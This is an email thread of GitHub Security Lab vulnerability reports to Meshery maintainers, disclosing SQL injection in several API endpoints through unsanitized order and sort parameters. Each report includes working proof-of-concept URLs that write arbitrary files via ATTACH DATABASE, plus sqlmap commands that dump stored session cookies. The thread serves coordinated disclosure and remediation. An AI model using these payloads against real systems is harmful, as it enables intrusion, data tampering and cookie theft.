On Dec 13, 2023, at 10:27 AM, 'Kevin Stubbings' via Meshery Security and Vulnerability Reports <secu...@meshery.dev> wrote:Greetings meshery maintainers,
Github Security Lab has found a potential vulnerability in meshery. I have appended the report to the bottom of this email. Please let us know if you have any questions or need help with patching. Please respond back to this email to let us know that you have received this email and are the correct point of contact.Thank you,Kevin
GitHub Security Lab (GHSL) Vulnerability Report, Meshery:
GHSL-2023-249
The GitHub Security Lab team has identified a potential security vulnerability in Meshery.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
secur...@github.com
(please includeGHSL-2023-249
as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.If you are NOT the correct point of contact for this report, please let us know!
Summary
A SQL injection vulnerability in Meshery up to v0.7.1 allows a remote attacker to obtain sensitive information via the
order
parameter ofGetMeshSyncResources
.Product
Meshery
Tested Version
Details
SQL injection in
GetMeshSyncResources
(GHSL-2023-249
)The Meshery project exposes the function
GetMeshSyncResources
at the API URL/api/system/meshsync/resources
. Theorder
query parameter is directly used to build a SQL query in line 135 of themeshync_handler.go
file, as it can be seen in the following snippet:func (h *Handler) GetMeshSyncResources(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) { // --snip-- order := r.URL.Query().Get("order") sort := r.URL.Query().Get("sort") // --snip-- result := provider.GetGenericPersister().Model(&model.KubernetesResource{}). Preload("KubernetesResourceMeta") // --snip-- if order != "" { if sort == "desc" { // --snip-- } else { result = result.Order(order) } } err := result.Find(&resources).Error // --snip-- }Impact
This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the
ATTACH DATABASE
command.Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.
Arbitrary data read and write may be a problem depending on several factors:
- Whether there's user authentication (if not, unauthenticated users may access the data querying the API normally).
- Whether there's user authorization (if not, authenticated users may be able to access all data querying the API normally).
- Whether there's actual sensitive data, like session cookies or credentials, added to Meshery (depends on the configuration).
Remediation
Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation.
Similar vulnerabilities (e.g. CVE-2023-46575) have been fixed in this project using the
SanitizeOrderInput
function.Resources
To reproduce this issue, the following three requests can be used to write a file at an arbitrary location with arbitrary contents (note that an appropriate cookie needs to be used in the request, for local authentication use
Cookie: meshery-provider=None
):http://(server):9081/api/system/meshsync/resources?order=1%3bATTACH+DATABASE+'/tmp/test'+AS+test-- http://(server):9081/api/system/meshsync/resources?order=1%3bCREATE+TABLE+test.pwn+(dataz+text)-- http://(server):9081/api/system/meshsync/resources?order=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
Verify that the
test
file was created:cat /tmp/test pwnedAlso, arbitrary database entries can be created by issuing a request to the following URL:
http://(server):9081/api/system/meshsync/resources?order=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--
To extract information from the database, blind SQL injection techniques must be used. For instance, we could use
sqlmap
to automate the process of dumping the request cookies used in a performance profile:$ sqlmap -u 'http://(victim server):9081/api/system/meshsync/resources?order=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump ..snip.. Table: performance_profiles [1 entry] +---------------------------+ | request_cookies | +---------------------------+ | {"Session": "test_value"} | +---------------------------+GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
Credit
This issue was discovered and reported by GitHub CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at
secur...@github.com
, please include a reference toGHSL-2023-249
in any communication regarding this issue.Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.--
You received this message because you are subscribed to the Google Groups "Meshery Security and Vulnerability Reports" group.
To unsubscribe from this group and stop receiving emails from it, send an email to security+u...@meshery.dev.
To view this discussion on the web visit https://groups.google.com/a/meshery.dev/d/msgid/security/CAOtQyKbd8WzZkVLdg1GhJbe7viXdvr6f5svUOCKz81xxkUudtA%40mail.gmail.com.
On Feb 1, 2024, at 12:28 PM, Kevin Stubbings <kwst...@github.com> wrote:Greetings Lee,It has been a bit over a month. Just wanted to check in on the progress. Please let me know if you have a scheduled date for the fix or if there is anything I can do to help.Thanks,Kevin Stubbings
GHSL-2024-013
, GHSL-2024-014
The GitHub Security Lab team has identified potential security vulnerabilities in Meshery.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at secur...@github.com
(please include GHSL-2024-013
or GHSL-2024-014
as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
A SQL injection vulnerability in Meshery up to v0.7.18 allows a remote attacker to obtain sensitive information, alter database registries, or create arbitrary files via the order
and sort
parameters of two HTTP endpoints.
Meshery
/api/system/meshync/resources/kinds
(GHSL-2024-013
)The Meshery project exposes the function GetMeshSyncResourcesKinds
at the API URL /api/system/meshsync/resources/kinds
. The order
query parameter is directly used to build a SQL query in meshync_handler.go
, as it can be seen in the following snippet:
func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) { // --snip-- page, offset, limit, search, order, sort, _ := getPaginationParams(r) // --snip-- result := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct("kind"). Where("kubernetes_resources.cluster_id IN (?)", filter.ClusterIds)
// --snip-- if order != "" { if sort == "desc" { // --snip-- } else { result = result.Order(order
)
}
}
// --snip--
}
This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE
command.
Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.
Arbitrary data read and write may be a problem depending on several factors:
Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation.
Similar vulnerabilities (e.g. CVE-2023-46575) have been fixed in this project using the SanitizeOrderInput function.
To reproduce this issue, the following three requests can be used to write a file at an arbitrary location with arbitrary contents (note that an appropriate cookie needs to be used in the request, for local authentication use Cookie: meshery-provider=None
):
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned
Also, arbitrary database entries can be created as follows:
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--
To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap
to automate the process of dumping the request cookies used in a performance profile:
$ sqlmap -u 'http://(victim server):9081/api/system/meshsync/resources/kinds?order=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump
..snip..
Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+
/api/v2/events
(GHSL-2024-014
)The Meshery project exposes the function GetAllEvents
at the API URL /api/v2/events
. The sort
query parameter read in events_streamer.go
is directly used to build a SQL query in events_persister.go
, as it can be seen in the following snippets:
func (h *Handler) GetAllEvents(w http.ResponseWriter, req *http.Request, prefObj *models.Preference, user *models.User, provider models.Provider) { // --snip-- page, offset, limit, search, order, sortOnCol, status := getPaginationParams(req) // --snip-- filter, err := getEventFilter(req) // --snip-- filter.SortOn = sortOnCol // --snip-- eventsResult, err := provider.GetAllEvents(filter, userID) // --snip-- }
func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) { // --snip-- finder := e.DB.Model(&events.Event{}).Where("user_id = ?", userID) // --snip-- if eventsFilter.Order == "asc" { finder = finder.Order(eventsFilter.SortOn) } // --snip-- }
This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE
command.
Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.
Arbitrary data read and write may be a problem depending on several factors:
Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation.
Similar vulnerabilities (e.g. CVE-2023-46575) have been fixed in this project using the SanitizeOrderInput function.
http://(server):9081/api/v2/events?order=asc&sort=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/v2/events?order=asc&sort=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned
Also, arbitrary database entries can be created as follows:
http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--
To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap
to automate the process of dumping the request cookies used in a performance profile:
$ sqlmap -u 'http://(victim server):9081/api/v2/events?order=asc&sort=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump
..snip..
Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
These issues were discovered and reported by GitHub team member @atorralba (Tony Torralba).
You can contact the GHSL team at secur...@github.com
, please include a reference to GHSL-2024-013
or GHSL-2024-014
in any communication regarding these issues.
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
A GET request to /api/integrations/credentials
is handled by Handler.GetUserCredentials
:
func (h *Handler) GetUserCredentials(w http.ResponseWriter, req *http.Request, _ *models.Preference, user *models.User, provider models.Provider) {
q := req.URL.Query()
page, _ := strconv.Atoi(q.Get("page"))
order := q.Get("order")
search := q.Get("search")
pageSize, _ := strconv.Atoi(q.Get("page_size"))
// --snip--
credentialsPage, err := provider.GetUserCredentials(req, user.ID, page, pageSize, order, search)
The search
query parameter, among others, is sent to provider.GetUserCredentials
, which resolves to DefaultLocalProvider.GetUserCredentials
if local authentication is used (the default):
func (l *DefaultLocalProvider) GetUserCredentials(_ *http.Request, userID string, page, pageSize int, search, order string) (*CredentialsPage, error) {
result := l.GetGenericPersister().Select("*").Where("user_id=? and deleted_at is NULL", userID)
if result.Error != nil {
return nil, result.Error
}
if search != "" {
like := "%" + strings.ToLower(search) + "%"
result = result.Where("(lower(name) like ?)", like)
}
result = result.Order(order)
See how the order
parameter is used without sanitization as the argument of result.Order
, which causes the SQL injection. Note that the search
and order
parameters are swapped on the callsite, so order
is actually the search
parameter of the GET request.
As far as I can tell, this is not exploitable because the initial query "SELECT * WHERE user_id = userID and deleted_at is NULL" causes an error, which forces an early exit at return nil, result.Error
.
Regards,
Kevin